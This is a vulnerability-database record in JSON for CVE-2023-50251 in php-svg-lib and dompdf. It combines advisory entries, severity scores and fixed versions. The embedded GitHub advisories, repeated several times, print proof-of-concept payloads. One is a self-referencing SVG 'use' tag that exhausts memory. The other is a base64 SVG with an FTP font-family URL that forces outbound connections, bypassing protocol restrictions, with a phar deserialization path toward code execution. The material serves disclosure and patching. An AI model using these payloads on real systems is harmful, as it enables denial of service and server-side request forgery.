{"id":"CVE-2023-50251","aliases":["CLSA-2026-1773276768","CLSA-2026-1786609589","DEBIAN-CVE-2023-50251","DSA-5642-1","EUVD-2023-3195","GHSA-97m3-52wr-xvv2","GHSA-ff5x-7qg5-vwf2"],"status":"published","title":"php-svg-lib possible DoS caused by infinite recursion when parsing SVG document","description":"php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a `use` tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00878,"percentile":0.59474,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502","CWE-674","CWE-73"],"published":"2023-12-12T20:37:23Z","modified":"2026-10-28T02:30:46Z","fixes":[{"ecosystem":"Packagist","package":"phenx/php-svg-lib","fixed_in":["0.5.2","0.5.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"php-dompdf-svg-lib","fixed_in":["0.5.0-3+deb12u1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.2"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.1"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.4"},{"fixed":"0.3.4-p1+tuxcare"}]}],"versions":["0.3.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.1"},{"fixed":"0.4.1-p1+tuxcare"}]}],"versions":["0.4.1"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"php-dompdf-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0-3+deb12u1"}]}],"versions":["0.5.0-3"]},{"source":"osv","ecosystem":"Debian:12","package":"php-dompdf-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0-3+deb12u1"}]}],"versions":["0.5.0-3"],"bundled":3},{"source":"osv","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.2"}]}],"versions":["0.1","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","v0.2","v0.3.0","v0.3.1","v0.3.2","v0.3.3"]},{"source":"osv","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.1"}]}],"versions":["0.1","0.3.4","0.4.0","0.4.1","0.5.0","v0.2","v0.3.0","v0.3.1","v0.3.2","v0.3.3"]}],"products":[{"vendor":"dompdf","product":"php-svg-lib"}],"references":[{"url":"https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-ff5x-7qg5-vwf2","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/dompdf/php-svg-lib/commit/88163cbe562d9b391b3a352e54d9c89d02d77ee0","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-97m3-52wr-xvv2","tags":["web"]},{"url":"https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273","tags":["web"]},{"url":"https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa","tags":["web"]},{"url":"https://github.com/advisories/GHSA-97m3-52wr-xvv2"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-50251","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-ff5x-7qg5-vwf2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/50xxx/CVE-2023-50251.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-50251","tags":["advisory"]},{"url":"https://github.com/dompdf/dompdf","tags":["package"]},{"url":"https://github.com/dompdf/php-svg-lib","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-50251","title":"php-svg-lib possible DoS caused by infinite recursion when parsing SVG document","description":"php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a `use` tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.","status":"published","published":"2023-12-12T20:37:23.035Z","modified":"2025-05-22T18:38:53.226Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:35:34.923818Z"}],"euvd":[{"id":"EUVD-2023-3195","description":"php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a `use` tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.","status":"published","published":"2023-12-12T20:37:23Z","modified":"2025-05-22T18:38:53Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T20:32:39.867081Z"}],"ghsa":[{"id":"GHSA-97m3-52wr-xvv2","title":"Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE","description":"### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET['payload']);\n$dompdf-\u003esetPaper('A4', 'landscape');\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.","status":"published","published":"2024-02-22T18:15:41Z","modified":"2026-03-24T05:03:57Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-73","CWE-502"],"updated_at":"2026-11-02T14:39:40.633038Z"},{"id":"GHSA-ff5x-7qg5-vwf2","title":"Denial of service caused by infinite recursion when parsing SVG document","description":"### Summary\nWhen parsing the attributes passed to a `use` tag inside an svg document, we can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\n### Details\nInside `Svg\\Tag\\UseTag::before`, php-svg-lib parses the attributes passed to an `use` tag inside an svg document. When it finds a `href` or `xlink:href`, it will try to retrieve the object representing this tag:\n\n```\n$link = $attributes[\"href\"] ?? $attributes[\"xlink:href\"];\n$this-\u003ereference = $document-\u003egetDef($link);\n\nif ($this-\u003ereference) {\n    $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\n`$document-\u003egetDef` is implemented as follow:\n\n```\npublic function getDef($id) {\n    $id = ltrim($id, \"#\");\n\n    return isset($this-\u003edefs[$id]) ? $this-\u003edefs[$id] : null;\n}\n```\n\n_Note:_ the `$id` in the above method is actually the _link_ being used in `use` tag. This part is important, because this behaviour  here actually leads to the vulnerability. It will be mentioned later on in this report.\n\nIf it finds the referenced object, it will try to call the `before` method on the referenced object (this is still inside `Svg\\Tag\\UseTag::before`) :\n\n```\nif ($this-\u003ereference) {\n    $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\nIn order to cause an infinte loop, we need to be able to control the `$id` used in the `$this-\u003edefs[$id]` code above. This `defs` property (`Svg\\Document::defs`) is being populated when `Svg\\Document::_tagStart` is called. This is the handler being used when the php-svg-lib is parsing the svg structure:\n\n```\n// Svg\\Document line 343\nif ($tag) {\n    if (isset($attributes[\"id\"])) {\n        $this-\u003edefs[$attributes[\"id\"]] = $tag;\n    }\n    else {\n        // ...\n    }\n\n    // ...\n}\n```\n\nSo if the `use` tag contains an `id`, then that `use` tag will be added to the `$defs` array with it's `id` as the key.\n\nNow as noted before, when there is a link inside the `use` tag, the library uses that link as the `id` to actually find the object or `tag` that has been added to the `Svg\\Document::defs`.\n\nSo if the `id` attribute is equal to the link attribute inside the `use` tag, then the referenced object (in this case it is the `Use` tag object) will be called recursively until the memory given to the script is exhausted.\n\n### PoC\n\nThis is an example svg file that can be used to demonstrate the vulnerability.\n\n```\n\u003csvg width=\"200\" height=\"200\"\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cuse id=\"selfref\" xlink:href=\"#selfref\" /\u003e\n\u003c/svg\u003e\n```\n\n### Impact\n\nWhen the lib parses the above payload, it will crash:\n\n```\nPHP Fatal error:  Allowed memory size of 536870912 bytes exhausted (tried to allocate 262144 bytes) in /xxx/dompdf/vendor/phenx/php-svg-lib/src/Svg/Tag/UseTag.php on line 37\n```\n\nAn attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.","status":"published","published":"2023-12-13T13:32:21Z","modified":"2023-12-13T13:32:22Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:37:25.311671Z"}],"nvd":[{"id":"CVE-2023-50251","description":"php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a `use` tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.","status":"published","published":"2023-12-12T21:15:08.453Z","modified":"2026-06-17T06:39:23.09Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:08:54.696438Z"}],"osv":[{"id":"CVE-2023-50251","title":"php-svg-lib possible DoS caused by infinite recursion when parsing SVG document","description":"php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a `use` tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.","status":"published","published":"2023-12-12T20:37:23.035Z","modified":"2026-10-28T02:30:46.660341467Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:44:34.72355Z"},{"id":"DEBIAN-CVE-2023-50251","description":"php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a `use` tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.","status":"published","published":"2023-12-12T21:15:08.453Z","modified":"2026-10-26T18:02:42.28506416Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:40.586408Z"},{"id":"GHSA-97m3-52wr-xvv2","title":"Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE","description":"### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET['payload']);\n$dompdf-\u003esetPaper('A4', 'landscape');\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.","status":"published","published":"2024-02-22T18:15:41Z","modified":"2024-11-30T05:28:01.236712Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-502","CWE-73"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"GHSA-ff5x-7qg5-vwf2","title":"Denial of service caused by infinite recursion when parsing SVG document","description":"### Summary\nWhen parsing the attributes passed to a `use` tag inside an svg document, we can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\n### Details\nInside `Svg\\Tag\\UseTag::before`, php-svg-lib parses the attributes passed to an `use` tag inside an svg document. When it finds a `href` or `xlink:href`, it will try to retrieve the object representing this tag:\n\n```\n$link = $attributes[\"href\"] ?? $attributes[\"xlink:href\"];\n$this-\u003ereference = $document-\u003egetDef($link);\n\nif ($this-\u003ereference) {\n    $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\n`$document-\u003egetDef` is implemented as follow:\n\n```\npublic function getDef($id) {\n    $id = ltrim($id, \"#\");\n\n    return isset($this-\u003edefs[$id]) ? $this-\u003edefs[$id] : null;\n}\n```\n\n_Note:_ the `$id` in the above method is actually the _link_ being used in `use` tag. This part is important, because this behaviour  here actually leads to the vulnerability. It will be mentioned later on in this report.\n\nIf it finds the referenced object, it will try to call the `before` method on the referenced object (this is still inside `Svg\\Tag\\UseTag::before`) :\n\n```\nif ($this-\u003ereference) {\n    $this-\u003ereference-\u003ebefore($attributes);\n}\n```\n\nIn order to cause an infinte loop, we need to be able to control the `$id` used in the `$this-\u003edefs[$id]` code above. This `defs` property (`Svg\\Document::defs`) is being populated when `Svg\\Document::_tagStart` is called. This is the handler being used when the php-svg-lib is parsing the svg structure:\n\n```\n// Svg\\Document line 343\nif ($tag) {\n    if (isset($attributes[\"id\"])) {\n        $this-\u003edefs[$attributes[\"id\"]] = $tag;\n    }\n    else {\n        // ...\n    }\n\n    // ...\n}\n```\n\nSo if the `use` tag contains an `id`, then that `use` tag will be added to the `$defs` array with it's `id` as the key.\n\nNow as noted before, when there is a link inside the `use` tag, the library uses that link as the `id` to actually find the object or `tag` that has been added to the `Svg\\Document::defs`.\n\nSo if the `id` attribute is equal to the link attribute inside the `use` tag, then the referenced object (in this case it is the `Use` tag object) will be called recursively until the memory given to the script is exhausted.\n\n### PoC\n\nThis is an example svg file that can be used to demonstrate the vulnerability.\n\n```\n\u003csvg width=\"200\" height=\"200\"\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cuse id=\"selfref\" xlink:href=\"#selfref\" /\u003e\n\u003c/svg\u003e\n```\n\n### Impact\n\nWhen the lib parses the above payload, it will crash:\n\n```\nPHP Fatal error:  Allowed memory size of 536870912 bytes exhausted (tried to allocate 262144 bytes) in /xxx/dompdf/vendor/phenx/php-svg-lib/src/Svg/Tag/UseTag.php on line 37\n```\n\nAn attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.","status":"published","published":"2023-12-13T13:32:21Z","modified":"2024-02-16T07:59:27.512166Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:46:46.39441Z"},{"id":"CLSA-2026-1773276768","title":"TuxCare security update for phenx/php-svg-lib (3 CVEs)","description":"TuxCare rebuilt phenx/php-svg-lib to address 3 CVEs. Fixed in 0.3.4-p1+tuxcare.","status":"published","published":"2026-08-04T14:52:36Z","modified":"2026-10-15T09:47:59.586365027Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1786609589","title":"TuxCare security update for phenx/php-svg-lib (3 CVEs)","description":"TuxCare rebuilt phenx/php-svg-lib to address 3 CVEs. Fixed in 0.4.1-p1+tuxcare.","status":"published","published":"2026-08-13T08:26:29Z","modified":"2026-10-15T09:47:59.490230661Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"DSA-5642-1","title":"php-dompdf-svg-lib - security update","status":"published","published":"2024-03-20T00:00:00Z","modified":"2026-03-09T02:10:07.620025Z","updated_at":"2026-11-02T15:46:17.892347Z"}]}}